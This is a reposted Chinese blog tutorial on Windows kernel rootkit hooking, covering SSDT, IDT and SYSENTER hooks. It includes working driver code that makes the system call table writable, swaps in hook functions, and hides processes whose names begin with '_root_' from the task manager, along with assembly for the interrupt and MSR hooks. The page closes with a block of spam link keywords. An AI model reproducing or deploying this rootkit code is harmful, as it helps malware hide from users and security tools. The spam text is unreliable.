• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            【HOOK技術(shù)深入解析】

            Posted on 2009-10-25 12:18 S.l.e!ep.¢% 閱讀(2101) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            【詳細(xì)過程】
            ? 這次主要說說核心層的hook。包括SSDT-hook,IDT-hook,sysenter-hook。歡迎討論,指正!內(nèi)核層需要驅(qū)動,有這方面的基礎(chǔ)最好,如果不會,了解下其中的思路也可以的。
            ?
            ? II. SSDT-hook,IDT-hook,sysenter-hook
            ? 一.SSDT-hook
            ? (一)一般思路:
            ? 1.先來了解一下,什么是SSDT
            ? SSDT既System Service Dispath? Table。在了解他之前,我們先了解一下NT的基本組建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系統(tǒng)服務(wù)。各種 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。這些dll中的 APIs 轉(zhuǎn)過來調(diào)用了 NT executive 提供的服務(wù)。盡管調(diào)用了相同的系統(tǒng)服務(wù),但由于子系統(tǒng)不同,API 函數(shù)的函數(shù)名也不同。例如,要用Win32 API 打開一個文件,應(yīng)用程序會調(diào)用 CreateFile(),而要用 POSIX API,則應(yīng)用程序調(diào)用 open() 函數(shù)。這兩種應(yīng)用程序最終都會調(diào)用 NT executive 中的 NtCreateFile() 系統(tǒng)服務(wù)。
            系統(tǒng)組建.jpg
            系統(tǒng)組件.JPG
            用戶模式(User mode)的所有調(diào)用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然后通過Int 2E或SYSENTER進(jìn)入到內(nèi)核模式,通過服務(wù)ID,在System Service Dispatcher Table中分派系統(tǒng)函數(shù),舉個具體的例子,再如下圖
            調(diào)用過程.jpg
            調(diào)用過程.JPG
            ? 從上可知,SSDT就是一個表,這個表中有內(nèi)核調(diào)用的函數(shù)地址。從上圖可見,當(dāng)用戶層調(diào)用FindNextFile函數(shù)時,最終會調(diào)用內(nèi)核層的NtQueryDirectoryFile函數(shù),而這個函數(shù)的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數(shù)的地址,那么,哈哈。。。。。。。下來詳細(xì)了解一下,SSDT的結(jié)構(gòu),如下圖:
            SSDT.jpg
            SSDT.JPG
            ? KeServiceDescriptorTable:是由內(nèi)核(Ntoskrnl.exe)導(dǎo)出的一個表,這個表是訪問SSDT的關(guān)鍵,具體結(jié)構(gòu)是
            ? typedef struct ServiceDescriptorTable {
            ? PVOID ServiceTableBase;
            ? PVOID ServiceCounterTable(0);
            ? unsigned int NumberOfServices;
            ? PVOID ParamTableBase;
            ? }
            ?
            ? 其中,
            ? ServiceTableBase System Service Dispatch Table 的基地址。
            ? NumberOfServices 由 ServiceTableBase 描述的服務(wù)的數(shù)目。
            ? ServiceCounterTable 此域用于操作系統(tǒng)的 checked builds,包含著 SSDT 中每個服務(wù)被調(diào)用次數(shù)的計數(shù)器。這個計數(shù)器由 INT 2Eh 處理程序 (KiSystemService)更新。
            ? ParamTableBase 包含每個系統(tǒng)服務(wù)參數(shù)字節(jié)數(shù)表的基地址。
            ? System Service Dispath Table(SSDT):系統(tǒng)服務(wù)分發(fā)表,給出了服務(wù)函數(shù)的地址,每個地址4子節(jié)長。
            ? System Service Parameter Table(SSPT):系統(tǒng)服務(wù)參數(shù)表,定義了對應(yīng)函數(shù)的參數(shù)字節(jié),每個函數(shù)對應(yīng)一個字節(jié)。如在0x804AB3BF處的函數(shù)需0x18字節(jié)的參數(shù)。
            ? 還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務(wù),也就是我們常用的和窗口,桌面有關(guān)的,具體存在于Win32k.sys。在如圖:
            ? 服務(wù)分發(fā).jpg
            服務(wù)分發(fā).JPG
            ? 右側(cè)的服務(wù)分發(fā)就通過KeServiceDescriptorTableShadow。
            ? 那么下來該咋辦呢?下來就是去改變SSDT所指向的函數(shù),使之指向我們自己的函數(shù)。
            ? 2.Hook前的準(zhǔn)備-改變SSDT內(nèi)存的保護(hù)
            ? 系統(tǒng)對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是藍(lán)臉。一般可以修改內(nèi)存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
            ? (1)改變CR0寄存器的第1位
            ? Windows對內(nèi)存的分配,是采用的分頁管理。其中有個CR0寄存器,如下圖:
            CR0.jpg
            cr0.jpg??
            ? 其中第1位叫做保護(hù)屬性位,控制著頁的讀或?qū)憣傩浴H绻麨?,則可以讀/寫/執(zhí)行;如果為0,則只可以讀/執(zhí)行。SSDT,IDT的頁屬性在默認(rèn)下都是只讀,可執(zhí)行的,但不能寫。所以現(xiàn)在要把這一位設(shè)置成1。
            ? (2)通過Memory Descriptor List(MDL)
            ? 也就是把原來SSDT的區(qū)域映射到我們自己的MDL區(qū)域中,并把這個區(qū)域設(shè)置成可寫。MDL的結(jié)構(gòu):
            ? typedef struct _MDL {
            ? struct _MDL *Next;??
            ? CSHORT Size;??????
            ? CSHORT MdlFlags;? //關(guān)鍵在這里,將來設(shè)置成MDL_MAPPED_TO_SYSTEM_VA ,這樣一來,這塊區(qū)域就可寫
            ? struct _EPROCESS *Process;
            ? PVOID MappedSystemVa;
            ? PVOID StartVa;
            ? ULONG ByteCount;
            ? ULONG ByteOffset;
            ? } MDL, *PMDL;
            ? 首先需要知道KeServiceDscriptorTable的基址和入口數(shù),這樣就可以用MmCreateMdl創(chuàng)建一個有起始地址和大小的內(nèi)存區(qū)域。然后把這個MDL結(jié)構(gòu)的flag改成
            ? MDL_MAPPED_TO_SYSTEM_VA ,那么這個區(qū)域就可以寫了。最后把這個內(nèi)存區(qū)域調(diào)用MmMapLockedPages鎖定在內(nèi)存中。大體框架如下:
            ? //先聲明一個System Service Descriptor Table,我們知道SSDT及SSPT都從這個表中指向
            ? #pragma pack(1)
            ? typedef struct ServiceDescriptorEntry {
            ?
            ????????? unsigned int *ServiceTableBase;
            ?
            ????????? unsigned int *ServiceCounterTableBase;
            ?
            ????????? unsigned int NumberOfServices;
            ?
            ????????? unsigned char *ParamTableBase;
            ?
            ? } SSDT_Entry;
            ?
            ? #pragma pack()
            ?
            ? __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
            ?
            ?
            ? /
            ? PMDL? g_pmdlSystemCall;
            ?
            ? PVOID *MappedSystemCallTable;
            ? // 代碼
            ? // 保存原系統(tǒng)調(diào)用位置
            ?
            ?
            ?
            ? // 映射我們的區(qū)域
            ?
            ? g_pmdlSystemCall = MmCreateMdl(NULL,
            ?
            ???????????????????? KeServiceDescriptorTable.ServiceTableBase,
            ?
            ???????????????????? KeServiceDescriptorTable.NumberOfServices*4);
            ?
            ? if(!g_pmdlSystemCall)
            ?
            ???? return STATUS_UNSUCCESSFUL;
            ?
            ? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
            ?
            ? // 改變MDL的flags
            ?
            ? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
            ?
            ?????????????????????????????? MDL_MAPPED_TO_SYSTEM_VA;
            ?
            ?
            ? //在內(nèi)存中索定,不讓換出
            ? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
            ?
            ? 現(xiàn)在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數(shù)的地址呢?
            ? 3.四個有用的宏
            ? SYSTEMSERVICE macro:可以獲得由ntoskrnl.exe導(dǎo)出函數(shù),以Zw*開頭函數(shù)的地址,這個函數(shù)的返回值就是Nt*函數(shù),Nt*函數(shù)的地址就在SSDT中
            ? SYSCALL_INDEX macro:獲得Zw*函數(shù)的地址并返回與之通信的函數(shù)在SSDT中的索引。
            ? 這兩個宏之所以能工作,是因?yàn)樗械腪w*函數(shù)都開始于opcode:MOV eax, ULONG,這里的ULONG就是系統(tǒng)調(diào)用函數(shù)在SSDT中的索引。
            ? HOOK_SYSCALL和UNHOOK_SYSCALL macros:獲得Zw*函數(shù)的地址,取得他的索引,自動的交換SSDT中索引所對應(yīng)的函數(shù)地址和我們hook函數(shù)的地址。
            ? 這四個宏具體是:
            ? #define SYSTEMSERVICE(_func) \
            ????????? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
            ?
            ? #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
            ?
            ? #define HOOK_SYSCALL(_Function, _Hook, _Orig )?????? \
            ?
            ????????? _Orig = (PVOID) InterlockedExchange( (PLONG) \
            ?
            ????????? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
            ?
            ? #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )? \
            ?
            ????????? InterlockedExchange((PLONG)?????????? \
            ?
            ????????? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
            ?????
            ? 4.小試牛刀:利用SSDT Hook隱藏進(jìn)程
            ? 我們所熟知的任務(wù)管理器,能察看系統(tǒng)中的所有進(jìn)程及其他很多信息,這是由于調(diào)用了一個叫ZwQuerySystemInformation的內(nèi)核函數(shù),具體結(jié)構(gòu)是:
            ? NTSTATUS NewZwQuerySystemInformation(
            ? IN ULONG SystemInformationClass,? //如果這值是5,則代表系統(tǒng)中所有進(jìn)程信息
            ? IN PVOID SystemInformation,? //這就是最終列舉出的信息,和上面的值有關(guān)
            ? IN ULONG SystemInformationLength, //后兩個不重要
            ? OUT PULONG ReturnLength)
            ? 如果用我們自己函數(shù),這個函數(shù)可以把我們關(guān)心的進(jìn)程過濾掉,再把它與原函數(shù)調(diào)換,則可達(dá)到隱藏的目的,大體思路如下:
            ? (1)? 突破SSDT的內(nèi)存保護(hù),如上所用的MDL方法
            ? (2)? 實(shí)現(xiàn)自己的NewZwQuerySystemInformation函數(shù),過濾掉以某些字符開頭的進(jìn)程
            ? (3)? 用上面介紹的宏來交換ZwQuerySystemInformation與我們自己的New*函數(shù)
            ? (4)? 卸載New*函數(shù),完成
            ? 具體實(shí)例:來自Rootkit.com,我做了注釋,代碼也很精小。
            #include "ntddk.h"
            #pragma pack(1)
            typedef struct ServiceDescriptorEntry {
            ??????? unsigned int *ServiceTableBase;
            ??????? unsigned int *ServiceCounterTableBase; //僅適用于checked build版本
            ??????? unsigned int NumberOfServices;
            ??????? unsigned char *ParamTableBase;
            } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
            #pragma pack()

            __declspec(dllimport)? ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
            //獲得SSDT基址宏
            #define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


            PMDL? g_pmdlSystemCall;
            PVOID *MappedSystemCallTable;
            //獲得函數(shù)在SSDT中的索引宏
            #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
            //調(diào)換自己的hook函數(shù)與原系統(tǒng)函數(shù)的地址
            #define HOOK_SYSCALL(_Function, _Hook, _Orig )? \
            ?????? _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
            //卸載hook函數(shù)
            #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )? \
            ?????? InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

            //聲明各種結(jié)構(gòu)
            struct _SYSTEM_THREADS
            {
            ??????? LARGE_INTEGER?????????? KernelTime;
            ??????? LARGE_INTEGER?????????? UserTime;
            ??????? LARGE_INTEGER?????????? CreateTime;
            ??????? ULONG?????????????????????????? WaitTime;
            ??????? PVOID?????????????????????????? StartAddress;
            ??????? CLIENT_ID?????????????????????? ClientIs;
            ??????? KPRIORITY?????????????????????? Priority;
            ??????? KPRIORITY?????????????????????? BasePriority;
            ??????? ULONG?????????????????????????? ContextSwitchCount;
            ??????? ULONG?????????????????????????? ThreadState;
            ??????? KWAIT_REASON??????????? WaitReason;
            };

            struct _SYSTEM_PROCESSES
            {
            ??????? ULONG?????????????????????????? NextEntryDelta;
            ??????? ULONG?????????????????????????? ThreadCount;
            ??????? ULONG?????????????????????????? Reserved[6];
            ??????? LARGE_INTEGER?????????? CreateTime;
            ??????? LARGE_INTEGER?????????? UserTime;
            ??????? LARGE_INTEGER?????????? KernelTime;
            ??????? UNICODE_STRING????????? ProcessName;
            ??????? KPRIORITY?????????????????????? BasePriority;
            ??????? ULONG?????????????????????????? ProcessId;
            ??????? ULONG?????????????????????????? InheritedFromProcessId;
            ??????? ULONG?????????????????????????? HandleCount;
            ??????? ULONG?????????????????????????? Reserved2[2];
            ??????? VM_COUNTERS???????????????????? VmCounters;
            ??????? IO_COUNTERS???????????????????? IoCounters; //windows 2000 only
            ??????? struct _SYSTEM_THREADS????????? Threads[1];
            };

            // Added by Creative of rootkit.com
            struct _SYSTEM_PROCESSOR_TIMES
            {
            ??? LARGE_INTEGER????????? IdleTime;
            ??? LARGE_INTEGER????????? KernelTime;
            ??? LARGE_INTEGER????????? UserTime;
            ??? LARGE_INTEGER????????? DpcTime;
            ??? LARGE_INTEGER????????? InterruptTime;
            ??? ULONG????????????? InterruptCount;
            };


            NTSYSAPI
            NTSTATUS
            NTAPI ZwQuerySystemInformation(
            ??????????? IN ULONG SystemInformationClass,
            ??????????????????????? IN PVOID SystemInformation,
            ??????????????????????? IN ULONG SystemInformationLength,
            ??????????????????????? OUT PULONG ReturnLength);


            typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ??????????? ULONG SystemInformationCLass,
            ??????????????????????? PVOID SystemInformation,
            ??????????????????????? ULONG SystemInformationLength,
            ??????????????????????? PULONG ReturnLength
            );

            ZWQUERYSYSTEMINFORMATION??????? OldZwQuerySystemInformation;

            // Added by Creative of rootkit.com
            LARGE_INTEGER????????? m_UserTime;
            LARGE_INTEGER????????? m_KernelTime;


            //我們的hook函數(shù),過濾掉以"_root_"開頭的進(jìn)程
            NTSTATUS NewZwQuerySystemInformation(
            ??????????? IN ULONG SystemInformationClass,
            ??????????? IN PVOID SystemInformation,
            ??????????? IN ULONG SystemInformationLength,
            ??????????? OUT PULONG ReturnLength)
            {

            ?? NTSTATUS ntStatus;

            ?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
            ????????? SystemInformationClass,
            ????????? SystemInformation,
            ????????? SystemInformationLength,
            ????????? ReturnLength );

            ?? if( NT_SUCCESS(ntStatus))
            ?? {
            ????? // Asking for a file and directory listing
            ????? if(SystemInformationClass == 5)
            ????? {
            ?????? // 列舉系統(tǒng)進(jìn)程鏈表
            ???? // 尋找以"_root_"開頭的進(jìn)程
            ????
            ?????????
            ???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            ??????????? struct _SYSTEM_PROCESSES *prev = NULL;
            ????
            ???? while(curr)
            ???? {
            ??????????? //DbgPrint("Current item is %x\n", curr);
            ????? if (curr->ProcessName.Buffer != NULL)
            ????? {
            ??????? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
            ??????? {
            ????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
            ????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

            ????????? if(prev) // Middle or Last entry
            ????????? {
            ??????????? if(curr->NextEntryDelta)
            ????????????? prev->NextEntryDelta += curr->NextEntryDelta;
            ??????????? else? // we are last, so make prev the end
            ????????????? prev->NextEntryDelta = 0;
            ????????? }
            ????????? else
            ????????? {
            ??????????? if(curr->NextEntryDelta)
            ??????????? {
            ????????????? // we are first in the list, so move it forward
            ????????????? (char *)SystemInformation += curr->NextEntryDelta;
            ??????????? }
            ??????????? else // we are the only process!
            ????????????? SystemInformation = NULL;
            ????????? }
            ??????? }
            ????? }
            ????? else // Idle process入口
            ????? {
            ???????? //? 把_root_進(jìn)程的時間加給Idle進(jìn)程,Idle稱空閑時間
            ?????????
            ???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
            ???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

            ???????? // 重設(shè)時間,為下一次過濾
            ???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
            ????? }
            ????? prev = curr;
            ??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
            ??????? else curr = NULL;
            ?????? }
            ??? }
            ??? else if (SystemInformationClass == 8) // 列舉系統(tǒng)進(jìn)程時間
            ??? {
            ???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
            ???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
            ??? }

            ?? }
            ?? return ntStatus;
            }


            VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
            {
            ?? DbgPrint("ROOTKIT: OnUnload called\n");

            ?? // 卸載hook
            ?? UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

            ?? // 解索并釋放MDL
            ?? if(g_pmdlSystemCall)
            ?? {
            ????? MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
            ????? IoFreeMdl(g_pmdlSystemCall);
            ?? }
            }


            NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
            ?????????? IN PUNICODE_STRING theRegistryPath)
            {
            ?? // 注冊一個卸載的分發(fā)函數(shù),與與應(yīng)用層溝通
            ?? theDriverObject->DriverUnload? = OnUnload;

            ?? // 初始化全局時間為零
            ?? // 這將會解決時間問題,如果不這樣,盡管隱藏了進(jìn)程,但時間的消耗會不變,cpu 100%
            ?? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

            ?? // 儲存舊的函數(shù)地址
            ?? OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

            ?? // 把SSDT隱射到我們的區(qū)域,以便修改它為可寫屬性
            ?? g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
            ?? if(!g_pmdlSystemCall)
            ????? return STATUS_UNSUCCESSFUL;

            ?? MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

            ?? // 改變MDL的Flags屬性為可寫,既然可寫當(dāng)然可讀,可執(zhí)行
            ?? g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

            ?? MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

            ?? // 用了宏,把原來的Zw*替換成我們的New*函數(shù)。至此已完成了我們的主要兩步,先突破了SSDT的保護(hù),接著用宏更改了目標(biāo)函數(shù),下來就剩下具體的過濾任務(wù)了
            ?? HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
            ?????????????????????????????
            ?? return STATUS_SUCCESS;
            }
            ?
            ? 二.IDT hook
            ? (一)基本思路:IDT(Interrupt Descriptor Table)中斷描述符表,是用來處理中斷的。中斷就是停下現(xiàn)在的活動,去完成新的任務(wù)。一個中斷可以起源于軟件或硬件。比如,出現(xiàn)頁錯誤,調(diào)用IDT中的0x0E。或用戶進(jìn)程請求系統(tǒng)服務(wù)(SSDT)時,調(diào)用IDT中的0x2E。而系統(tǒng)服務(wù)的調(diào)用是經(jīng)常的,這個中斷就能觸發(fā)。我們現(xiàn)在就想辦法,先在系統(tǒng)中找到IDT,然后確定0x2E在IDT中的地址,最后用我們的函數(shù)地址去取代它,這樣以來,用戶的進(jìn)程(可以特定設(shè)置)一調(diào)用系統(tǒng)服務(wù),我們的hook函數(shù)即被激發(fā)。
            ? (二)需解決的問題:從上面分析可以看出,我們大概需要解決這幾個問題:
            ? 1.IDT如何獲取呢?SIDT指令可以辦到,它可以在內(nèi)存中找到IDT,返回一個IDTINFO結(jié)構(gòu)的地址。這個結(jié)構(gòu)中就含有IDT的高半地址和低半地址。為了方便把這兩個半地址合在一起,我們可以用一個宏。IDTINFO,和宏的結(jié)構(gòu)如下:
            ? typedef struct
            ? {
            ? WORD IDTLimit;
            ? WORD LowIDTbase;? //IDT的低半地址
            ? WORD HiIDTbase;??? //IDT的高半地址
            ? } IDTINFO;
            ? 方便獲取地址存取的宏
            ? #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
            ? 2.IDT有最多256個入口,我們現(xiàn)在要的是其中的0x2E,這個中斷號的入口地址如何獲取呢?
            ?? #pragma pack(1)
            ? typedef struct
            ? {
            ? WORD LowOffset;?????????? //入口的低半地址
            ? WORD selector;
            ? BYTE unused_lo;
            ? unsigned char unused_hi:5;???? // stored TYPE ?
            ? unsigned char DPL:2;
            ? unsigned char P:1;???????? // vector is present
            ? WORD HiOffset;????????? //入口地址的低半地址
            ? } IDTENTRY;
            ? #pragma pack()
            ? 知道了這個入口結(jié)構(gòu),就相當(dāng)于知道了每間房(可以把IDT看作是一排有256間房組成的線性結(jié)構(gòu))的長度,我們先獲取所有的入口idt_entrys,那么第0x2E個房間的地址也就可以確定了,即idt_entrys[0x2E]。
            ? 3.如果得到了0x2e的地址,如何用我們的hook地址改寫原中斷地址呢? 見以下核心代碼:
            ? DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢復(fù)hook
            ? #define NT_SYSTEM_SERVICE_INT 0x2e
            ? //我們的hook函數(shù)
            ? int HookInterrupts()
            ? {
            ?
            ???? IDTINFO idt_info;????????? //SIDT將返回的結(jié)構(gòu)
            ?
            ???? IDTENTRY* idt_entries;??? //IDT的所有入口
            ?
            ???? IDTENTRY* int2e_entry;??? //我們目標(biāo)的入口
            ?
            ???? __asm{
            ?
            ??????? sidt idt_info;???????? //獲取IDTINFO
            ?
            ???? }
            ??? //獲取所有的入口
            ???? idt_entries =
            ?
            ??? (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
            ? //保存真實(shí)的2e地址
            ???? KiRealSystemServiceISR_Ptr =
            ??????????????????????????????? MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
            ?
            ?????????? idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
            ?
            ??
            ? //獲取0x2E的入口地址
            ???? int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
            ?
            ???? __asm{
            ?
            ?????? cli;?????????????????????? // 屏蔽中斷,防止被打擾
            ?
            ?????? lea eax,MyKiSystemService; // 獲得我們hook函數(shù)的地址,保存在eax
            ?
            ?????? mov ebx, int2e_entry;????? // 0x2E在IDT中的地址,ebx中分地高兩個半地址
            ?
            ?????? mov [ebx],ax;????????????? // 把我們hook函數(shù)的地半地址寫入真是第半地址
            ?
            ???? shr eax,16???????????????? //eax右移16,得到高半地址
            ?
            ?????? mov [ebx+6],ax;?????????? // 寫入高半地址
            ?
            ???? sti;????????????????????? //開中斷
            ?
            ???? }
            ?
            ???? return 0;
            ?
            ? }
            具體代碼見:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
            ? (三)注意點(diǎn):
            ? 1.每個處理器都有個IDT,所以對于多CPU一定要注意,所有的IDT都要hook。
            ? 2.在winxp,win2k3,vsta下失效。
            ?
            ? 三.SYSENTRY hook
            ? 為了性能的考慮,xp后的系統(tǒng)都改用sysentry命令來進(jìn)入ring0,去調(diào)用SSDT中的服務(wù),不再是通過IDT中的 int 2E。這也使得我們hook也變得相對容易了。
            ? 首先獲得sysentry的地址,然后改之,不用再考慮IDT了。見下面的代碼:
            ? #include "ntddk.h"
            ?
            ? ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
            ?
            ? VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
            ? {
            ??? DbgPrint("ROOTKIT: OnUnload called\n");
            ? }
            ?
            ? // Hook function
            ? __declspec(naked) MyKiFastCallEntry()
            ? {
            ??? __asm {
            ????? jmp [d_origKiFastCallEntry]? //這啥都沒做,換成你想干的
            ????????? }
            ? }
            ?
            ? NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
            ? {
            ??? theDriverObject->DriverUnload? = OnUnload;
            ?
            ??? __asm {
            ???????????????????? mov ecx, 0x176????????????????
            ????? rdmsr????????????????????????? // 讀IA3_SYSENTER_EIP寄存器值,存有sysenter的地址????????????
            ????? mov d_origKiFastCallEntry, eax //保存原值,以便恢復(fù)
            ????? mov eax, MyKiFastCallEntry???? // hook函數(shù)地址
            ????? wrmsr????????????????????????? // 將hook函數(shù)移入IA32_SYSENTER_EIP寄存器
            ??? }
            ?
            ??? return STATUS_SUCCESS;
            ? }
            ?
            ?
            ?基本的改變數(shù)據(jù)結(jié)構(gòu)的hook就說到這里,當(dāng)然還有DKOM這種高級的技術(shù),有興趣的自己去看看吧。


            本文來自CSDN博客,轉(zhuǎn)載請標(biāo)明出處:http://blog.csdn.net/geagle/archive/2007/05/07/1598610.aspx

            99精品国产免费久久久久久下载| 久久久亚洲裙底偷窥综合| 久久精品无码专区免费东京热| 久久人人爽爽爽人久久久| 国产精品一区二区久久不卡| 国产精品伊人久久伊人电影| 久久精品综合网| 久久国产精品国产自线拍免费| 久久久精品国产Sm最大网站| 久久久精品国产sm调教网站| 久久精品不卡| 久久国产精品久久| 午夜欧美精品久久久久久久| 999久久久免费国产精品播放| 久久这里的只有是精品23| 国产激情久久久久影院小草| 久久综合香蕉国产蜜臀AV| 久久精品国产一区二区三区不卡 | 久久久无码精品亚洲日韩按摩| 日本免费一区二区久久人人澡| 久久AV高潮AV无码AV| 精品国产91久久久久久久a| MM131亚洲国产美女久久| 97香蕉久久夜色精品国产| 国内精品久久久久久久影视麻豆| 久久国产精品成人片免费| 狠狠色丁香久久婷婷综合_中| segui久久国产精品| 久久青草国产精品一区| 97久久精品无码一区二区| 久久久久久久97| 久久伊人精品青青草原日本| 久久久久人妻精品一区| 久久免费精品视频| 久久久九九有精品国产| 久久福利青草精品资源站免费 | 人人狠狠综合久久88成人| 久久久久人妻一区二区三区 | 久久人妻少妇嫩草AV无码专区| 久久人与动人物a级毛片| 久久只这里是精品66|